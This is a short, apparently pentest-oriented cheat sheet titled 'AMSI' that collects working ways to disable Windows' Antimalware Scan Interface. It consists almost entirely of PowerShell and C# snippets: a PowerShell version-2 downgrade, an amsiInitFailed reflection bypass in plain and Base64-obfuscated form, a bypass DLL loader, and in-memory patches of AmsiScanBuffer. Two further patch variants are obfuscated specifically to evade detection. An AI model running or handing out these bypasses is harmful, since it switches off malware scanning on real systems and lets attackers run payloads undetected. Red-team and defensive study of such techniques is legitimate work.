# AMSI

### PowerShell Downgrade

```
powershell -version 2
```

![](/files/UrbuCOc9euYJcbbUzTKf)

### Base64 Encoding

This technique prevents AMSI scanning capability for the current process by setting the “amsiInitFailed” flag.

```
# Original AMSI Bypass
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# Base64 Encoded
[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)
```

![](/files/nV8i3gqTHBP65dQ4dBxd)

### Memory Patching

#### C# Version

```shell
# C# version
# https://github.com/rasta-mouse/AmsiScanBufferBypass

[System.Reflection.Assembly]::LoadFile("C:\Users\pentestlab\ASBBypass.dll")
[Amsi]::Bypass()
```

![](/files/LpSSEKzVqv7wDMssJXAj)

#### Powershell Version

```powershell
# Powershell version

$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@

Add-Type $Win32

$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)
```

![](/files/ZnC04EFNuazx3VGoPFwa)

```powershell
# Evasion 1
# Changed the strings to char arrays
# Added 0x2 to the bytes to patch, then later subtracted them

$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@

Add-Type $Win32
$test = [Byte[]](0x61, 0x6d, 0x73, 0x69, 0x2e, 0x64, 0x6c, 0x6c)
$LoadLibrary = [Win32]::LoadLibrary([System.Text.Encoding]::ASCII.GetString($test))
$test2 = [Byte[]] (0x41, 0x6d, 0x73, 0x69, 0x53, 0x63, 0x61, 0x6e, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72)
$Address = [Win32]::GetProcAddress($LoadLibrary, [System.Text.Encoding]::ASCII.GetString($test2))
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0xBA, 0x59, 0x02, 0x09, 0x82, 0xC5)

for ($i=0; $i -lt $Patch.Length;$i++){$Patch[$i] = $Patch[$i] -0x2}
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)
```

```powershell
# Evasion 2

$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@

Add-Type $Win32
$test = [Byte[]](0x61, 0x6d, 0x73, 0x69, 0x2e, 0x64, 0x6c, 0x6c)
$LoadLibrary = [Win32]::LoadLibrary([System.Text.Encoding]::ASCII.GetString($test))
$test2 = [Byte[]] (0x41, 0x6d, 0x73, 0x69, 0x53, 0x63, 0x61, 0x6e, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72)
$Address = [Win32]::GetProcAddress($LoadLibrary, [System.Text.Encoding]::ASCII.GetString($test2))
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0x31, 0xC0, 0x05, 0x78, 0x01, 0x19, 0x7F, 0x05, 0xDF, 0xFE, 0xED, 0x00, 0xC3)
#0:  31 c0                   xor    eax,eax
#2:  05 78 01 19 7f          add    eax,0x7f190178
#7:  05 df fe ed 00          add    eax,0xedfedf
#c:  c3                      ret 
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, $Patch.Length)
```


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